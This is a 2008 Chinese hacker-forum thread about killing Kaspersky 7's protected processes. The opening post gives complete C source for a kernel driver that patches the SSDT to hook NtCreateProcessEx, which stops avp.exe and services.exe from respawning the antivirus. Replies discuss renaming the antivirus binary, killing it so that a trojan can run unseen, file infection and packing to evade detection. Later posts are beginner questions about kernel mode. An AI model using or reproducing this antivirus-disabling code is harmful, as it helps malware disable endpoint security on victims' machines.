[原创]kill卡巴7 恢复ssdt之后
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:认真的雪[EST]
前些时候玩卡巴7,恢复ssdt之后,发现能用任务管理器结束进程了,竟然米发现还有进程守护,哎.....髓男呀[s:271]
卡巴有两个avp.exe进程,一个用户模式下的,一个系统模式下的,而且当其中任意一个进程被结束,马上又会被重新创建。。。。。
不过这当中有些不同,当用户模式下的avp.exe被kill后,由系统模式下的avp.exe重新创建用户下的avp.exe,而当系统模式下的avp.exe被结束后,则是由services.exe重新创建系统模式的avp.exe的(权限继承,方便,猥琐,哈哈.....,可能用了远程线程技术)
所以把内核模式下滴NtCreateProcessEx HOOK,就ok了(xp下创建进程不调用NtCreateProcess),看你嚣张到几时[s:264][code]#include "ntddk.h"
#include "stdio.h"
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define NAMEOFFSET 0X174
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
typedef NTSTATUS (*NTCREATEPROCESSEX)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown );
DWORD OldNtCreateProcessEx;
NTSTATUS NewNtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN HANDLE Unknown OPTIONAL)
{
CHAR processName[20];
PCHAR name;
DWORD eproc;
eproc=(DWORD)PsGetCurrentProcess();
name=(PCHAR)(eproc+NAMEOFFSET);
strncpy(processName,name,16);
strlwr(processName);
if(strncmp(processName,"avp.exe",7)==0||strncmp(processName,"services.exe",12)==0)
{
return STATUS_ACCESS_DENIED;
}
return ((NTCREATEPROCESSEX)(OldNtCreateProcessEx))(ProcessHandle,DesiredAccess,
ObjectAttributes,ParentProcess,InheritObjectTable,SectionHandle,DebugPort,ExceptionPort,Unknown);
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=OldNtCreateProcessEx;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
OldNtCreateProcessEx=*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30);
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=(DWORD)NewNtCreateProcessEx;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
return STATUS_SUCCESS;
}
[/code]其实再用户模式下应该也可以实现突破进程守护
1、再用户模式下hook avp.exe和services.exe的ZwCreateProcessEx函数
2、向avp.exe注入个dll(sstd都恢复了,注入dll应该可以了),让所有线程都挂起,先结束系统模式下的avp.exe,然后再结束用户模式下滴
上面两种方法,偶也米试过,只是思路,可能会有错误,懒瓦......
不知道大伙还有啥办法不?
[[i] 本帖最后由 认真的雪 于 2008-4-19 10:58 编辑 [/i]] 直接把avp.exe文件改个名就好了....方便直接简单有效[s:304]
[quote]偶也米试过,只是思路,可能会有错误,懒瓦[/quote]
我也一样 :sweat: 还是劫持方便点,你倒干净的杀了它,换个有脑子的人,看见卡巴不见了,他不会等着你下一步的行动的。
不过照着这样的思路可以试试其他的出名的主动防御,偶去去就来,找几个杀软kill一下:lol: 对于KIS7.0没必要杀了他,恢复一下SSDT,他的主动防御就完蛋了。想干啥就干啥。。。
如果真的要杀,只要阻止SERVICES.EXE创建KAV就可以了,就是小雪的这个方法了哈。
[quote]直接把avp.exe文件改个名就好了....方便直接简单有效[/quote]
这个没试过,现在机器上不用咔吧了,也懒的试,我记得KIS7目录好象是无法操作的吧?好象只可以创建文件夹。。。
[[i] 本帖最后由 风泽 于 2008-4-19 14:20 编辑 [/i]] 我觉的用感染文件来启动+免杀过卡巴更舒服哈!
回复 地板 风泽 的帖子
恢复ssdt之后就可以操作目录了回复 板凳 末日逐沙 的帖子
好像没碰到过其他杀软有进程守护的.....kill了杀软的确太明显了,摆明了病毒来了,这个方法也是再恢复卡巴hook的相关ssdt之后才能,配合着kill他的。。。。只当一种技术来研究.... 杀掉以后图标还在,用户不会马上发现的,等木马运行后再启动杀软就行了 :sweat:我拿我的微点试了试,先删了 两个进程,没反应,然后又删了一个进程,微点自己又恢复了原来的那两个进程,还弹出页面通知,但是在安全日志里面没记载,核心守护毕竟不是吹得,毕竟刘旭老总也不是做了一年两年软件的菜鸟。进程守护是很多杀毒软件都具有,面对现在这样的网络环境,谁都不敢说自己的杀软百毒不侵,加进守护自己进程技术是必然的,连360都有自我保护,以前论坛上还有一位做过试验360的试验。
得 看来我还真是备受关注,但是对付微点这种内核级的杀毒软件(当然很多杀软现在都是,但是有强弱之分)相比之下用任务管理器还可以消灭它两个进程,但是如果用工具的话,反倒不容易删除了(不懂为什么,老鸟讲讲)如果你删除一个杀软死机两次,蓝屏一次的话,估计我们对它的破坏也是不好玩的了
[[i] 本帖最后由 末日逐沙 于 2008-4-21 19:38 编辑 [/i]] 老牛们看来都是玩c++的,看来不学不行了,大家的发展方向都是越来越低层的了 [quote]原帖由 [i]末日逐沙[/i] 于 2008-4-19 18:44 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=141586&ptid=32879][img]images/common/back.gif[/img][/url]
:sweat:我拿我的微点试了试,先删了 两个进程,没反应,然后又删了一个进程,微点自己又恢复了原来的那两个进程,还弹出页面通知,但是在安全日志里面没记载,核心守护毕竟不是吹得,毕竟刘旭老总也不是做了一年两年软件的菜鸟。
进 ... [/quote]
微点不过如此。。。别以为高明到了哪里 瑞星2008的病毒查杀,很让人头疼。刚写出来的程序可以过,加完壳居然就过不了了,试了 N多的壳就是不行,难道他对加壳文件用了虚拟机? 晕!你发现的这个我半年前就玩过了! 拿回去改改看能杀360不:lol: [quote]原帖由 [i]ldu[/i] 于 2008-4-24 11:10 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=141775&ptid=32879][img]images/common/back.gif[/img][/url]
拿回去改改看能杀360不:lol: [/quote]
360是Inline-HOOK了KeUserModeCallBack.
不是HOOK SSDT 也许卡巴已经HOOK掉了你要用的API :lol: 卡巴刚好没有HOOK~ 菜鸟问一下:
不过这当中有些不同,当用户模式下的avp.exe被kill后,由系统模式下的avp.exe重新创建用户下的avp.exe,而当系统模式下的avp.exe被结束后,则是由services.exe重新创建系统模式的avp.exe的(权限继承,方便,猥琐,哈哈.....,可能用了远程线程技术)
所以把内核模式下滴NtCreateProcessEx HOOK,就ok了(xp下创建进程不调用NtCreateProcess),看你嚣张到几时
系统模式下的avp.exe被结束后,则是由services.exe重新创建系统模式的avp.exe的---如何得知是由Sservices.exe重新创建的?要什么工具?要什么理论或概念?或要什么基础?
权限继承,方便,猥琐,哈哈.....,可能用了远程线程技术-----权限继承,这个什么说?远程线程技术,是不是类似CreateRemoteProcess这样的API?
所以把内核模式下滴NtCreateProcessEx HOOK,就ok了(xp下创建进程不调用NtCreateProcess),看你嚣张到几时-----这里的NtCreateProcessEx是不是USER模式下的CreateProcess及CreateRemoteProcess之类API的原形?这里的HOOK和用户模式下的钩子是不是一个概念?还是这根本就是内核模式下才存在的?
另外,代码里的每行后面的IN和OUT是注释吗?什么感觉像ASM里的中断?
如果我看完《深入解析WINDOWS系统》和《Windows Driver Model》两本书,再加上半本C++ primer plus和半桶水的汇编,能否看得懂LZ大人的代码?
以上问题都是真心问的,真正的菜鸟的迷茫。。。。
回复 18楼 永远一个人 的帖子
首先Hook了 NtCreateProcessEx不就可以轻松知道是哪个进程再创建进程了吗,当然就可以知道avp进程是由哪个进程创建的远程线程一般调用CreateRemoteThread这个API,但对于卡巴,这里也只是猜测,没仔细研究过,不能断定
NtCreateProcessEx在内核中叫做例程,usermode下调用的API最终会调用内核模式的相应例程,在winnt/2k中是int 2eh切换到内核,xp中是sysenter
还有你说的这些书当然是不错的,《深入解析WINDOWS系统》,好厚啊,都可以当凶器了:lol: ,我把它当资料查,但是baidu和goolge,还有各大论坛上也有很多不错的资料 非常感谢你的回复。虽然我的内核还是还没敢看,不过心里有一个大概的框架。
NtCreateProcessEx, NtCreateProcessEx----关于这些例程,是不是只有查DDK?在winnt/2k中是int 2eh切换到内核,xp中是sysenter----在正常的用户模式程序,是不能直接切换的吧?不是说想在内核模式运行,驱动是唯一的办法吗?还是说,你这里所指的sysenter本身就是基于内核编程来说的,即驱动可以随意切换到USER或NT模式?
,《深入解析WINDOWS系统》,好厚啊,都可以当凶器了 ,我把它当资料查,-----可是你的基础已经相当好的,就象是WIN32编程时查一下MSDN一样?
回复 20楼 永远一个人 的帖子
进ring0的方法当然不止驱动一种,还有门呀,调试寄存器什么滴。。。。。。具体什么的还是去看书和资料吧......要回答你可能要写好几篇文章了。。。。:lol: [quote]原帖由 [i]认真的雪[/i] 于 2008-5-21 20:49 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=143107&ptid=32879][img]images/common/back.gif[/img][/url]
进ring0的方法当然不止驱动一种,还有门呀,调试寄存器什么滴。。。。。。
具体什么的还是去看书和资料吧......要回答你可能要写好几篇文章了。。。。:lol: ... [/quote]
可是我记得在某本书权威驱动还是系统的书看过一句,说内核编程驱动是唯一办法呀。
你所说的调试寄存器是类似于陷阱一类的吧?这个不是在用户模式下调用某一类的API,这类API再调用内核例程达到目的的吗?实际上这类API本身还是属于用户模式的吧?就是受到WINDOWS本身或防火墙的限制---呃,那个主动防御之类的东西 算啦我不问啦,小学生去大学听教师讲微积分当然牛头不对马嘴了。我还是先从小学数学学起:cry: 起飞一个驱动 或者说进入了r0
天下就是你的了 爱怎么搞就怎么搞把..
Freedom World......... [quote]原帖由 [i]zhuwg[/i] 于 2008-5-21 21:34 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=143114&ptid=32879][img]images/common/back.gif[/img][/url]
起飞一个驱动 或者说进入了r0
天下就是你的了 爱怎么搞就怎么搞把..
Freedom World......... [/quote]
为了这个,继续看书.... [quote]原帖由 [i]永远一个人[/i] 于 2008-5-21 21:47 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=143117&ptid=32879][img]images/common/back.gif[/img][/url]
为了这个,继续看书.... [/quote]
哈哈~~
页:
[1]
